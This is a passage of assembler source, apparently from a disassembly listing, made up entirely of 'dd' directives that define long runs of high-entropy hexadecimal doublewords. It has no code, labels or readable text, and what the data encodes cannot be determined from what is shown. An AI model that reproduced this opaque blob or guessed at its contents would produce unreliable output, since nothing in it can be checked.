2C86522Eh, 472D3F4Ah dd 39A03C2Ch, 6719590Ah, 0AB7D2DDEh, 2EBA1732h, 0DD2CD71Eh dd 4499331Ah, 22432790h, 0FDD87631h, 768D2DC3h, 373E29CCh dd 315AE5CEh, 0FA29C47Dh, 0EC24582Bh, 45BFD07h, 7CBE5Dh dd 0A02C20C1h, 0EE3943E5h, 0E26A2168h, 0AAD1F4AFh, 933D51F9h dd 83137ABh, 5278127Ah, 0D3F1D33h, 11C3EDBh, 223E4F40h dd 263A243Ch, 0C6AA283Ah, 787E2C3Bh, 335B3645h, 4753659h dd 6AB9C7ECh, 0FEB534FBh, 964D3437h, 0BCC853D0h, 22DBEA2h dd 0E2AB5D4h, 0A2DC6C2h, 0B120278Ah, 26B02121h, 583263Fh dd 9E0D3BB1h, 175BF302h, 623AF62Dh, 0C27F8035h, 6ACF1702h dd 0EC9B3E62h, 0B6A2A62Ch, 60F986Bh, 3867CCDDh, 97C838D0h dd 98F53EB6h, 0B5ED1EFDh, 0E0207A7Fh, 0D84C26DAh, 6897D940h dd 4B2F2D2Ch, 63363191h, 12BF3550h, 0D7B93D38h, 0EF3F6B0Ch dd 74167658h, 486E4A1Ch, 234F302Bh, 403517F7h, 0DF2DA72Ch dd 0E383D87Fh, 6E21CBCFh, 0BB2F3937h, 0EC35B8BFh, 0A769173Eh dd 61089973h, 262725E3h, 295CE626h, 2F2C338Bh, 0FA43EDF9h dd 66376B36h, 0B94B4262h, 19795F6Bh, 4C1238E5h, 4F766C15h dd 245A12E1h, 0A10E0A24h, 0AA456300h, 0AEFBD04h, 0F4314244h dd 3A3F5CE6h, 0A0BBE10Ah, 9F1BA2B4h, 0F71D1DACh, 2321E10Bh dd 21262942h, 7B780D88h, 0F30DE2A7h, 23A83161h, 0A42F5B0h dd 0D3363CD8h, 219F1E3Eh, 0F6351D3Bh, 7223E0E7h, 0A75DA64Bh dd 4367A502h, 0AA6DF5C3h, 47C4BA2Fh, 32776BE6h, 3BB9EB1Ch dd 3DB61FDAh, 6DE8775Fh, 0A125EE10h, 2D6FAE2Eh, 0BA54CF77h dd 0AB7FC92Eh, 0F103726Dh, 3EDB0E93h, 368B3739h, 9C3C3B3Ah dd 2D30EFAEh, 32E1210h, 9E232E63h, 0F2EBCE34h, 0AE3C085Bh dd 30CAAF73h, 7153B736h, 3804A7B7h, 623A8A17h, 5A332F3Dh dd 0DD068F98h, 0A9232138h, 26E72B35h, 3B0E6568h, 8BABED1Eh dd 929520B2h, 37361896h, 0BB87D188h, 603ECBA4h, 17691D1Bh dd 394CC849h, 27252421h, 0A12DECA4h, 0A52972EDh, 64B820E9h dd 62D56A37h, 39393CF5h, 2F822DADh, 71974E6Ch, 0AA600F3Ah dd 30DB76FBh, 0A25E07EEh, 382CFB28h, 0B44FDABh, 24B5FEB9h dd 0B2F80430h, 3DD5FAC0h, 0D2903FAEh, 343B6A96h, 2723C3A2h dd 0E5AC8CD6h, 1F96D0A2h, 44A1A3Eh, 13C0686h, 0D8B0352h dd 0B1D0C40h, 2C9E0947h, 273D2AA6h, 1B451916h, 1FE41DBBh dd 12A511F6h, 16D414CEh, 9B30B25h, 0DF30FA0h, 1A03C5h dd 44B0600h, 25A82793h, 19D41BC6h, 1BE31832h, 286E15C7h dd 62152CFDh, 566F380Bh, 363834BAh, 2AFDBB33h, 3E1534F9h dd 1D188B3Eh, 4B2003D2h, 0FD4C23DDh, 282864BBh, 2D6C8A4Eh dd 0B8547F2Ah, 0D9743317h, 0B26E3B36h, 1970B6CBh, 7D1B3A1Eh dd 98711E05h, 0A1DCDCEDh, 0AC7AE665h, 0CE386AACh, 0DF39EF38h dd 27791411h, 77247609h, 53799247h, 0DA25185Ch, 0C521BFFh dd 30620078h, 0D90AC3C4h, 0EA3C3A69h, 6324CC38h, 20720523h dd 75377620h, 2A29789Bh, 7331DDFDh, 5E3C4C08h, 2A30810Ch dd 4EDA646Dh, 6929A27Eh, 8F492D2Bh, 3261342Fh, 3610BD57h dd 0AD5BB33h, 1A79B12Bh, 19619B3Ch, 6124774Eh, 0DAB8531Bh dd 2BF19B33h, 2C2D2A28h, 9146BE9h, 64763732h, 0C6203796h dd 3C7DFB2Fh, 83F1F6Ah, 20EF9E75h, 0CC277025h, 27477D87h dd 3C8FA648h, 0A503CF24h, 0B4661431h, 5062DB06h, 0D0D3B39h dd 3C7F3F18h, 944E1C76h, 0AF4EA8EEh, 0F370100h, 5EC26DE8h dd 3722CF96h, 0F19EB824h, 6294E030h, 0D39EF1B3h, 0B43ADD6Ah dd 4E2CAD26h, 3423126Ch, 0A4EFAF86h, 2A71A034h, 2155A425h dd 67626C45h, 85F8DC3Bh, 0BE356576h, 0E2B49FBh, 1F1C7D7Fh dd 12219A3h, 0C5612948h, 28CE8A27h, 0CD21413Ah, 0D419B22Fh dd 0D50F4733h, 35381F16h, 0C00EB0FBh, 0DC28201Ah, 0F3E115DFh dd 16332250h, 48F4A12Ch, 0FC2B5B3Dh, 4130984Dh, 1E115231h dd 58E73644h, 513B4B0Ch, 6A7F5EEDh, 547ECD1Ch, 1E22151h dd 2757FE72h, 5A4B49F8h, 434EFD2Ch, 11923141h, 37474282h dd 4AB859E8h, 0B25EED3Ch, 1EFF1C6Ah, 2021C3FBh, 26C7F9CBh dd 2A28A00Ah, 2D2DDD29h, 32C3FDC7h, 36C14291h, 0C884D033h dd 3EC9833Bh, 0B0F41E77h, 23281FECh, 312223D1h, 29DABACEh dd 2A2CDF7Bh, 0C375A2C6h, 35C0A932h, 0CB45DF3Eh, 0C9ADD83Ah dd 4427363Eh, 1A211821h, 7A1D721Fh, 0AE195E1Bh, 3115CC17h dd 45107712h, 0C20CA00Eh, 8836360Ah, 0B43A3A3Bh, 2B0A3D3Dh dd 2F9D2D4Eh, 123D118Fh, 1647141Ah, 1AA7185Ch, 1D341F25h dd 1A90353h, 4150637h, 8D80A0Ch, 0D0E0ED4h, 302F115Dh dd 20E1111Dh, 6A05706Dh, 1A79086Ah, 0AD1F1D05h, 2CB14331h dd 28B63534h, 3AC63433h dd 3E2C3838h, 0C9101B35h, 21A01D1Eh, 73772722h, 0C5A94171h dd 2C2C2BAAh, 0DCD8C9A7h, 0CA343032h, 2B315F00h, 3D6E58ECh dd 1C494B94h, 481F4C71h, 76472273h, 7A478C25h, 2C797629h dd 642F7C75h, 64993263h, 6A7B3667h, 3C697239h, 9B3F6E79h dd 75F29649h, 62FA49DFh, 194E2D03h, 4F2A7944h, 2F2A2D8Dh dd 16BB5560h, 0DBB53134h, 7C025138h, 8D066404h, 0CA25A523h dd 19D427h, 0C61C841Ah, 7132C1Eh, 8D177D11h, 0F80B9E15h dd 340FC809h, 1D023F0Ch, 43064F00h, 0F1279804h, 761C5F25h dd 0C118FE1Eh, 2015251Ah, 0C1113217h, 80E3113h, 910A620Ch dd 513F8308h, 3CCD9A22h, 10733AD5h, 0A1DD1C6Bh, 57BA13h dd 0D82E4771h, 0FCCBC21Ah, 20AE812Fh, 31423FE1h, 397BE785h dd 0AC09D081h, 0C6287AC7h, 70D5FE50h, 2C222EB0h, 0A4262A24h dd 2B242927h, 0B42A679h, 0A3E2B038h, 6167C8BFh, 1A9639D0h dd 0BA3F3D3Dh, 16DF69DBh, 0B6AA25DAh, 27E50007h, 0A0B43A7h dd 0AA12DAAh, 6030B033h, 6064D463h, 9AA92DC8h, 0A139F933h dd 1D081A0Ah, 55AB494Dh, 733706h, 0E9542EE6h, 0CD50A023h dd 2CBC3267h, 39B93212h, 0F40330D6h, 0FECEE48h, 1A04381Ch dd 11F159Eh, 0D2A63227h, 46273553h, 726D828h, 313BA4E5h dd 74D322B9h, 66C0437Bh, 3EC63E29h, 9E1F3C1Ch, 95386BD5h dd 0A97123C0h, 0F6ADFD84h, 390BD2A2h, 2B54FC20h, 373D5720h dd 333E313Bh, 3C917B4Ch, 3B264C38h, 0A21C037Ah, 7E41630Ah dd 0C5460484h, 213F0F38h, 32CA870h, 752011A9h, 4550631Ch dd 5E561897h, 57693067h, 3A4C9F7Fh, 4F554C3Eh, 663D7373h dd 30784A49h, 6E0C094Eh, 2E3140CEh, 8D3E4336h, 48324819h dd 0AA353F30h, 6F7A2834h, 0F1E4D096h, 0EB432021h, 23B7B424h dd 26E42046h, 92B62E22h, 9BA43D36h, 5A251732h, 29526AC3h dd 0C96D39BBh, 63BE371Ch, 0A9CA2030h, 1826E761h, 0C32829E9h dd 2BBEEF14h, 63097FBBh, 73F9BE65h, 3B8A3FD0h, 2EA6556Ch dd 0D31D97D4h, 0DF7AC8F7h, 24B3AEDCh, 0A00268BFh, 2D2DBBADh dd 5A61907Dh, 16D4A8F6h, 38697C39h, 1AF9BFFBh, 5D761D55h dd 0A8164CFBh, 0A3AD3E62h, 0AD276C36h, 0DA2B7A9Ch, 6EA17B10h dd 14143092h, 58011286h, 2FCCBA03h, 2024C026h, 1C67223Eh dd 18F11EA2h, 15641B07h, 2D2B15EAh, 312F2F5Dh, 7303209h dd 0CB026505h, 0BF0DF90Ch, 18077D0Ah, 0FC276E25h, 10185219h dd 1D1DF61Fh, 0EC4E5A14h, 0FFA09A8h, 0DB343129h, 67987563h dd 0DBE59BD0h, 37FABE3Bh, 9E410ABBh, 7255101Ch, 206588CBh dd 0AEEF2F46h, 0EEE1080Fh, 0B2603115h, 76DD4C32h, 0C5C716BCh dd 30DCE884h, 0E2D50BBCh, 2C80DF2Dh, 35D38DD0h, 1E186EF7h dd 2DFC6E2Bh, 0BD650FAAh, 0DFE5BB16h, 0EC89BC1Ah, 0CD5A1A08h dd 0D3F345E2h, 7077541Dh, 790146C9h, 18221621h, 0A843252Ah dd 350F246Ch, 0F436E2BCh, 521F4E13h, 0E4BB6A29h, 14381C09h dd 0BF9C8798h, 4182AB21h, 8B323375h, 378A60B9h, 655EA0A1h dd 6332919Bh, 0BBBB3135h, 6E7F3999h, 9F933D9Fh, 1EBF261Bh dd 0D21816Bh, 82258676h, 880D2886h, 2A3CA82Bh, 32936536h dd 383595FFh, 3BED3895h, 9C583F39h, 1C4DE73Fh, 5E3248E6h dd 75162273h, 0E521C38Fh, 7D25C748h, 0F72326C6h, 11783321h dd 683B5D0Ah, 0DD17F8D2h, 1E1FC820h, 0A1C01AEDh, 5043E474h dd 2CD37075h, 992FDA54h, 2C2C7E29h, 0C432DA9Dh, 0C232631h dd 35072E3Ch, 8E04114h, 1F111D13h, 0A7CA212Fh, 0FB246661h dd 0C32B2B6Eh, 6B2C6C5Ch, 93021574h, 5E5C6504h, 337A3138h dd 9F0621D4h, 0BE24A05h, 57E12B87h, 0E6FD24E3h, 2A389127h dd 0EE1EEC28h, 4E158CA2h, 0BCB44D92h, 3A92CB83h, 0AE3DF432h dd 0FD9C6E3Fh, 0E2B49F1Fh, 0C4C5C0CAh, 29315257h, 39087FA1h dd 0B20C6AA5h, 7708F672h, 0B9B1F7B3h, 0B838343Bh, 0F71F7F49h dd 4539502h, 0A8AA3629h, 2CAA3347h, 288BA760h, 0B53BA5ADh dd 0B6A72A32h, 2D57990Eh, 3D1A1399h, 9A2C6B5Dh, 4E1F2350h dd 0CBDB2A3Bh, 73196476h, 0AAE200C8h, 0A47C147Dh, 18335BC0h dd 0F8764F94h, 0D338C7F9h, 0B42D3DD6h, 31F5D3F3h, 0C2912BFDh dd 2957E128h, 0AF9D2D22h, 79031877h, 0CBBAC314h, 603A401Bh dd 6AB13BE7h, 0DEFBBF13h, 27BD203Bh, 281A1FD1h, 411F0A19h dd 1238931Dh, 2D1D10D8h, 0C80CE558h, 82D0F32h, 4590A77h dd 84013BA8h, 626E603h, 1E0F7723h, 0A4832121h, 2B277230h dd 0CE1B2829h, 0F11D721Ch, 2FE1204h, 38AE0109h, 3C03648Bh dd 0FB3B06B1h, 0FEBD4B11h, 8D368120h, 639F2D60h, 0CAF1EE20h dd 0FA020D2Ch, 2D5231D1h, 7736D4D7h, 0DACB0F29h, 0C0121D3Ch dd 323D1CFAh, 14CB112h, 26C43F0Fh, 0CB000407h, 19B04C2Bh dd 5231D144h, 36D47108h, 0DBFFF839h, 2E1D333Bh, 0C7D40EC0h dd 0A2F80F3Eh, 0A020E722h, 772452FDh, 206C2277h, 3451EBAFh dd 62FAB8F1h, 0AE9BC36h, 83C7B0FAh, 0DC533DD2h, 22F6DF42h dd 24A889D2h, 28A24EEFh, 2FCAA92Ah, 514B4629h, 8D99C133h dd 3B37363Eh, 0C3BC1B2h, 2B770E79h, 1F4A2D4Ch, 43127D10h dd 4B164D14h, 1B5E1928h, 1F521D54h, 0B70231B0h, 0BB06BD04h dd 0B3AA908h, 0FA60DA8h, 1EBD2C87h, 8A11842Fh, 9A158813h dd 1AE91827h, 1EE51CEFh, 0E60130FFh, 0D605E803h, 93F9DC07h dd 9E2DBC38h, 19193B3Fh, 0CA21752Eh, 55705320h, 665DAE24h dd 3B4C385Ah, 62A22EAEh, 35746426h, 0B05E672Ah, 3D4C3F44h dd 44F2E1Eh, 44B0D70h, 35D371F2h, 0E9259609h, 0A7BD3C7Ah dd 64DF28CFh, 6467C225h, 0E9F7C6BCh, 4C353853h, 455021Bh dd 2EBFF54Eh, 0E7A132E0h, 772A9514h, 0A07B7E2Dh, 0A8EA2C8Ch dd 2C3831B4h, 62D784DCh, 1B1E6D38h, 2AC16F6Ch, 186D0F7Bh dd 95F72BC5h, 0AD35A651h, 8A110A1Ah, 0F9D27C2Ah, 320E381Ch dd 392E3577h, 3B3CBD37h, 60B03E3Bh, 0CC0C1E56h, 0AB218FA2h dd 2624B0ACh, 0AFA27726h, 452F2BBEh, 3CC18C92h, 0A9F15F12h dd 0DA26C7D7h, 1DAD32EAh, 0E2F3530Fh, 0E59E1C7Dh, 70236340h dd 0A3753601h, 34D419E4h, 0A275D1C5h, 0B5D1330Bh, 0EA21F134h dd 2AFD3BFBh, 1AFDE5FFh, 0DFAC0BDAh, 0AB34E221h, 31F933FBh dd 3DFE627Ah, 39EDBC9Dh, 1C24FB0Fh, 0BB39B369h, 7005734Dh dd 7F757E39h, 18B1DB17h, 66623F8Fh, 33714F36h, 9E3C6C26h dd 3B64BAA4h, 74739050h, 0E93BB4B4h, 1E2D3921h, 3A3C15C1h dd 1C5D855Ah, 606958AEh, 0E4031823h, 0A9E1A123h, 0D5BEFA22h dd 535C3DEFh, 196331B2h, 0CB1C3636h, 603FFA35h, 0A419BF8Fh dd 211F3737h, 78E16022h, 11226784h, 282B63B4h, 45401499h dd 105C6D45h, 1F476953h, 3E645F5Eh, 4713F3Dh, 1D510EEDh dd 0CA233544h, 171930D6h, 584B4B0Ch, 300E2B9Ch, 54325F59h dd 8637174h, 3B525A1Ch, 4B614F5Dh, 6A747D69h, 66615397h dd 19732710h, 4F0DCA03h, 1E2D1F3Bh, 32C30FC7h, 36C10991h dd 0C816D006h, 3EC9573Bh, 2F42917h, 0D5B91FECh, 0AFCC1022h dd 0EE28D529h, 0C5182BDEh, 75719ED1h, 35C0C6BCh, 0CBD7DF03h dd 339E183Ah, 0F42D3FCDh, 711FECC2h, 130B22D5h, 28D5E9CDh dd 68A0DE56h, 0B0792A09h, 72BAC3BAh, 38BFBC24h, 0B2B31299h dd 8B545E94h, 89964D9Ch, 22028922h, 2426B0ACh, 3E3AE9ABh dd 0AF84A3A4h, 197CBC63h, 632DD7Ch, 2A6C2818h, 7FBD6B9Ch dd 0F64F48D9h, 23E110EAh dd 27E52565h, 103BAB73h, 5B39AFEAh, 8470210Bh, 37BB0C26h dd 82344C54h, 3D3D3D7Bh, 1CD89A61h, 212BDC15h, 0A8266738h dd 6DA1E2A6h, 7F2E3B0Eh, 60202D2Eh, 65657360h, 1D7CF026h dd 0B436BB1Ah, 4591B72h, 0DF031EDDh, 463A234h, 2923B6A0h dd 0A9C32929h, 60AC2ABDh, 626300F7h, 0AB1432A1h, 0AA36263Dh dd 1FAF9939h, 412A13DCh, 2ED0A844h, 1BE22F64h, 2B252597h dd 217F2391h, 8D245938h, 8F663BC4h, 3B3E2FECh, 0D7313F3Eh dd 1C1D039Ah, 7474739Fh, 620190A8h, 3E340B23h, 3E2E26C3h dd 2E213403h, 0B317CDDBh, 3AD92235h, 25343838h, 1EF991D7h dd 0CA7DF17h, 0A6F5CB38h, 0AE50C52Fh, 90C43223h, 6CB426ADh dd 2D1C3AB3h, 30BB9EDEh, 2A2FBC92h, 9F8EB5D6h, 33985E14h dd 2BCA37h, 8627E3CDh, 5D3327A2h, 34362E2Eh, 0BF62257Bh dd 51D8DEFDh, 0FCBE0F39h, 1B675A3Dh, 10541937h, 766B560h dd 272BCD37h, 776A1131h, 0AB213E08h, 5BD031F8h, 3436A334h dd 3966D4D0h, 0BC3F3D3Ch, 5A9418DFh, 17D5343Bh, 8E4D2273h dd 9AC8B4E2h, 13DF842Dh, 9337D13Fh, 0DE3B3692h, 3199F585h dd 0B4329C1Bh, 4D19EB7Fh, 0C9381E6Eh, 612C030Eh, 28C9EFADh dd 3F7EC33Ah, 23A1DF2Ah, 0D79EA636h, 0F2B33326h, 0BF193F2Bh dd 39CA3138h, 30D16DF5h, 27D37EAAh, 4B3CD694h, 255B99A2h dd 60762ABDh, 3CD9362Dh, 7E425D51h, 5D3344B2h, 4C25DEEDh dd 13BA5CF4h, 39A93800h, 21C4345Bh, 53BA1FDBh, 262A6BEBh dd 0B0BB08D0h, 7DDE3134h, 0C4BAC5CFh, 0C9DED56Ah, 7F31E3E7h dd 7D2B012Eh, 7B032F93h, 33DAAEB0h, 0A4DB8C3h, 0CA83587Fh dd 47435317h, 23F821F8h, 0FF3F6CE9h, 395071EEh, 0C77B412Eh dd 0DA050C30h, 29272729h, 2D232B25h, 313F2F21h, 3537333Dh dd 1D7CBC66h, 9D327B3Eh, 76A321DDh, 0A86DF30h, 3971E211h dd 68752B95h, 1AEFAB26h, 0B5497E91h, 74512C10h, 0D04B3804h dd 0B3FF3F7Fh, 0F3223F99h, 0A013DD8Fh, 34E38902h, 0A7D9ECA7h dd 2B0EBDE8h, 0DD2D2DC0h, 18E3C69Eh, 73F1CC34h, 3F3A291Ch dd 39133DB7h, 129F6BF3h, 0C82DA02Fh, 7229A50Bh, 0AA6C2867h dd 2B2CED08h, 0B355BE0Ch, 0B716763Fh, 7FD13F3Bh, 1EFB30BDh dd 2C5B17B0h, 23A83B92h, 0F403A22Ch, 0C12016A7h, 3D1DAD27h dd 16351EA6h, 7533596Eh, 0B82B3C34h, 48EE3214h, 0DC283C2Eh dd 0B1D8EDEh, 0DCADE3E3h, 2AD84E93h, 0C4D2243Dh, 10220FD3h dd 0BF231665h, 343DC6FDh, 0CCB03A6Bh, 0EA143F57h, 0D05E964Ch dd 0CB20DFE1h, 0ACB50561h, 0F0C2E660h, 9F2A5EEDh, 303A3FD0h dd 32393BDCh, 547753F4h, 5357473Ch, 2A327D77h, 2F14D031h dd 38256C29h, 315920F6h, 3D272B69h, 0A152376Ah, 32351D37h dd 3B3AF951h, 3E14505Fh, 0FB1CAA39h, 20B50019h, 2F257873h dd 2ABE27C2h, 6955582Fh, 30F0075Dh, 0F152555Dh, 3C984436h dd 1483322Fh, 1C143F31h, 64941E11h, 0CEF3062Bh, 3C63C5D0h dd 280F7EA2h, 30AF7F3Dh, 64626021h, 0F8E8E8DDh, 33255A44h dd 0F30F826Bh, 514C59A3h, 0E8B3BA3Ah, 20311458h, 2B93027Dh dd 6CCED12Ah, 0E9DA3030h, 34779E34h, 0AE2D4538h, 3F063EBFh dd 631C4433h, 262126F7h, 76372402h, 0AF77EBADh, 68EF7850h dd 0D4ABA27h, 0A62D5C7Ch, 2A01773Bh, 696B6968h, 574A87Bh dd 17203E22h, 3D006FABh, 3CD79366h, 2FFB6F2Ah, 0B4C8A42Fh dd 510873CDh, 0BD385D0Ah, 3D40074Ch, 9427BD02h, 0B4239021h dd 18B91E21h, 14811A85h, 9E172A85h, 8E139611h, 833F60Dh dd 4E70AFFh, 3CE706EFh, 0F303DC01h, 0EB22F320h, 1FD81D20h dd 211B2424h, 16262915h, 1236103Eh, 0B7F50C2Eh, 37B21124h dd 73F3B3Fh, 501ABD54h, 0BB365C5Fh, 0E92760D5h, 889C6CDCh dd 0A32A68ABh, 2D2AECB7h, 0E10CD827h, 0B23AB5F2h, 3A39399Fh dd 3F3D5639h, 1D761E55h, 4B227507h, 4F2B4926h, 11BB2627h dd 0C57D0A40h, 11CFE4EDh, 4370212h, 6E68A30Fh, 9C683F0Ah dd 6C27EB1Fh, 649FF31Ah, 3E6282D1h, 0A03E00h, 93D0F36h dd 375F15DFh, 1FCC828Eh, 39553554h, 3C2E3959h, 1DDF2E3Ah dd 4F1D6D58h, 3BBCC971h, 1F1703F4h, 3B7B1ED8h, 97298144h dd 6C313126h, 2B265FF7h, 3BF22CC7h, 3BFABE52h, 1EDD990Fh dd 0A202C37h, 2625259Ah, 2269EF24h, 6EEA282Bh, 3A303C2Dh dd 0BF313423h, 0B3392C7Fh, 3EFA2473h, 9DE3F53Eh, 26A9DBDEh dd 267BE311h, 292E209Ah, 1D214C27h, 0E4E42F8Ch, 97113743h dd 3CE95B36h, 9C3E3820h, 0BE14953Eh, 20BED21Dh, 0B8238025h dd 0D1592684h, 45AB36C9h, 101E2E8Ch, 302254F1h, 271693D6h dd 0D53C3BB4h, 473E6CE5h, 0D2B41C4Dh, 829E2182h, 2784E724h dd 2A6E88A4h, 5AC6576Ch, 0B0CDCE13h, 372617F0h, 5BD2313Fh dd 573651BFh, 0DE2AC80Fh, 2CE17119h, 20CD2643h, 6A212872h dd 0EAAE4439h, 6639BD27h, 38F53C17h, 6B696A17h, 0D6F3B71Bh dd 165F2F5Dh, 2249C794h, 0E701063Bh, 13D60725h, 0A6D32B9Dh dd 31CC0BAAh, 7934BE31h, 0D1682F12h, 3DC27DECh, 3897B2C1h dd 201E1F1Dh, 24722025h, 6BCF6AB5h, 0D32BD47Ch, 30472F47h dd 34770430h, 6CBA3735h, 3E51021Dh, 0D5B46C3Dh, 0E15947F4h dd 2372A3DFh, 0A30641A4h, 2F802E88h, 0CA2F4855h, 43465731h dd 17581814h, 1B4C1478h, 3E044E11h, 7B197819h, 7222273h dd 262F2950h, 28C236A7h, 0D7C529C0h, 6931270Fh, 8F53FD02h dd 0FAB9C7C8h, 7DC23248h, 363CE2DDh, 902A1C16h, 5521E2h dd 9DBE71E4h, 3D7D330Fh, 0F4D1C77Ch, 0B03B1160h, 3E4868BBh dd 0E95C18D9h, 380B3C6Eh, 551EADD8h, 0B3CB2F79h, 23465AE5h dd 0A652BB76h, 442FEC34h, 95EE236Eh, 1C13B2EAh, 0CF3B5B96h dd 3B2C4F0Ah, 768D8D24h, 0E2252010h, 0A46522E4h, 2BA92DEEh dd 0CE5229D7h, 23165DBBh, 768E8BB0h, 0B1FFB202h, 97187D34h dd 5ED626CAh, 461F239h, 2D03666Bh, 0C6C2BE6h, 5B0B66F9h dd 326F6F25h, 6D34846Eh, 0F909FCB4h, 8E898217h, 95B5B2Fh dd 126D0E9Eh, 0E122A2E2h, 0F86906E7h, 0A62063A1h, 33BB2B3Fh dd 70BF2BB3h, 3D6F645Ah, 23FCFBBFh, 131F3F2Eh, 20880C93h dd 0E4133F85h, 892E8636h, 0A8262A68h, 0B4AB21EDh, 744719B1h dd 0F0881E11h, 0B3BA3939h, 19552E3Ch, 0AD0BCEE3h, 4E005577h dd 0E7A56FD4h, 3B281B7Ch, 26C6A17Ch, 30532530h, 15761160h dd 6916BD39h, 3D02171Ch, 1D5F82F3h, 1A2190BEh, 752ACC22h dd 6211B62h, 36ADF12Dh, 854230CFh, 72F20073h, 3AC62C13h dd 0F23DD43Bh, 494EE5E8h, 31507B30h, 0E4712D20h, 92901638h dd 7532EB7Fh, 22650F7Eh, 37143893h, 233A5959h, 673DBD3Bh dd 0CF1B9A61h, 208D19ACh, 7C23B269h, 5C5745A5h, 5847436Fh dd 0BFAD078Ch, 575232C1h, 585B5258h, 3D633C21h, 9BF03E39h dd 9F519C59h, 0DCAA711Dh, 17A71D31h, 2B120DA4h, 71712D55h dd 57693080h, 372638BDh, 0BAFEB83Ch, 3F3AFF3Bh, 178D1DEFh dd 225EEC1Fh, 261A241Ch, 0E282818h, 5AA67A2Bh, 0F2023C0Bh dd 48C3B153h, 0A979B225h, 0B010BE3Bh, 9031BA52h, 0A0032BEh dd 0C73F83FCh, 2DF06C0Bh, 18CFAC2h, 71D4028Fh, 0E1199935h dd 14953FC8h, 0EB119F30h, 31903A7Eh, 0A53B5F72h, 0AF06027Ah dd 11C66C08h, 612007ADh, 30662FCDh, 941EB822h, 3A12DD87h dd 0FF32DB94h, 0DB2CEF51h, 554B7C18h, 4A26E13Ch, 0C5222B6h dd 30686329h, 90D322Ch dd 0CC32A108h, 53DE3466h, 292E790Fh, 5D388931h, 130D1AABh dd 3374DDB5h, 50C4D12Eh, 3A243C29h, 9DA0213Fh, 8931318Eh dd 2C3501DBh, 3E5D2DB6h, 5A1E0FD0h, 241E7A53h, 0DC1D22Ah dd 26013D57h, 188CF279h, 2EE1F13h, 553BC65Ah, 0A1469634h dd 6B681954h, 9FAB37B1h, 7FFCFF03h, 33FD9A89h, 31C7A249h dd 0C92186CAh, 8CB6EA3Eh, 33EF0B31h, 75C30860h, 5E202718h dd 0BC3A9BCCh, 0DB7DBBD6h, 0E09F1CBh, 2E35C565h, 36278C5h dd 7B77C874h, 6FAAC540h, 7F21955Ch, 21D01F94h, 51D23537h dd 65B73E1Ch, 137AF40Bh, 2D32A9DEh, 0DBDA9ACBh, 3B6D3B45h dd 2ECD8295h, 75C138B9h, 0BA62206Ch, 8A693A77h, 9970D73Ah dd 14B66136h, 288A4A72h, 742D8A7Ch, 69152E89h, 0ED761928h dd 5128368Eh, 6E555154h, 45409D77h, 64433A3Ah, 1C043F21h dd 83271E02h, 904F21D0h, 5CAE4DA5h, 62A62E0Dh, 6FC72AA5h dd 93326291h, 6D66739h, 2CB3FAA4h, 5B9E6F3Ch, 0BF4E9B4Eh dd 4C1A656Eh, 93D9DB53h, 0F4A53C2Eh, 0F2CFD20h, 0C5011080h dd 0F10D7163h, 3BBAB479h, 2F677D3Fh, 390B684Fh, 32031B74h dd 3EA16557h, 2FE8812h, 3E09083Bh, 1661F10Bh, 57B5BADBh dd 333930BCh, 7B7A32B2h, 0DD50CF2Dh, 6EC84F97h, 95D20DA2h dd 69E83CFEh, 21217265h, 20286F7Dh, 0DD20C733h, 0C160B6E0h dd 542ED36Dh, 1D1B25FFh, 0EE94051Dh, 0CC742A71h, 7F26E6C2h dd 6EC3F2A2h, 3218CF7Eh, 37831991h, 0C274F68Eh, 5C17FC3Ah dd 193CCEB3h, 1CEF58F4h, 4B6610CDh, 0D83FA494h, 96BB53Dh dd 0D9ABADDCh, 0EB97944h, 0B5374494h, 6D3B48ACh, 4B56EAC3h dd 0BDF11C99h, 0C205F1DBh, 26C64423h, 2AC91D75h, 0B6BE7C6Dh dd 629B32BAh, 0A26D36A2h, 38AD5835h, 933D4D53h, 86C1C2Fh dd 0C925AF1Dh, 34842037h, 3D804D25h, 2E389829h, 6132BA90h dd 369E0331h, 0A8D835A2h, 3FA8D338h, 0B9192ACEh, 356F1EADh dd 0D3BE3223h, 2962863Fh, 750B1A7Bh, 0BBFC1DF2h, 3AD1B7DBh dd 3D39D601h, 0D63FB224h, 187F1E33h, 3FCF2ED7h, 6332B536h dd 0FEF2F51Dh, 254BEBA3h, 242A4DCEh, 53E1BAF2h, 632FB43Ah dd 0FB761DBCh, 0E4A7D825h, 0E04DDFDh, 29C6E10Ah, 0ADF51A43h dd 29AD39DDh, 2F08ED62h, 0DABD7E66h, 3E265590h, 0FAD1777Eh dd 269873EBh, 170D3535h, 1227D990h, 83172272h, 3116E65Eh dd 0DDA7E620h, 78357B2Eh, 7C366138h, 513D97C5h, 3D7854BAh dd 0B6733E3Eh, 211FFCB7h, 0AD91CA89h, 2B022094h, 2F0127E8h dd 381FD1DEh, 44ACA0h, 22983517h, 3C343A36h, 140C3E32h dd 0F72BC21Ch, 0F53A1182h, 7C381811h, 34E71CF7h, 7831E6BDh dd 0A3E372A1h, 28E69836h, 0DE2C5821h, 3FFC31ACh, 471DDD02h dd 0E5DE303Fh, 0E21A24F2h, 0ACC1083Ch, 6A3837EBh, 3E312F35h dd 0DE393403h, 380C3CEDh, 25F55C27h, 98189BF8h, 8B048B0Bh dd 273822B6h, 6A1F3B25h, 3968013Eh, 7D80E86h, 7DA40371h dd 3679BC39h, 4A3AAF30h, 4CBEFF14h, 24E70BE2h, 0A32120FBh dd 2A114C62h, 28236E2Dh, 14305894h, 0DC270533h, 0E82B4533h dd 0D40F296Eh, 114F3136h, 16AE7BEEh, 0DDDA2A95h, 0CC66DADAh dd 0C3E7A22Fh, 176E3DF9h, 3C256C70h, 0E5DA47B1h, 0FC702126h dd 3FC13E5Fh, 4ECFF41Bh, 2D34AB1Dh, 33A0CBA7h, 3FAF85C2h dd 0A9541E8Dh, 27BBFF3Ah, 0B635E488h, 6D191C4Bh, 0FCCCD46Dh dd 3A5C0A16h, 0F38A9A11h, 0CD717437h, 2818FB68h, 38CC592Fh dd 24DFC3E0h, 0E5411DF2h, 0DA2DD855h, 28D36B2Fh, 6E3C21D6h dd 13FF42h, 28634F89h, 6926260Eh, 2DEA1C25h, 8B6E226Dh dd 387333F0h, 7A36F67Ah, 4C3DFA35h, 9B953278h, 1ABE1814h dd 262A8125h, 652320F4h, 292F2CE8h, 0EB22292Ch, 0F21FD134h dd 3133DE2Fh, 7E020078h, 52972D3Ah, 0BE4F1A5Bh, 2231381Dh dd 74CBE520h, 3E29B821h, 0EE2F4D3Eh, 9349B2ACh, 0A24D3533h dd 0B9993B37h, 3E3EBD87h, 9E603F7Bh, 68551BE6h, 1A0A822h dd 0AC2B27A6h, 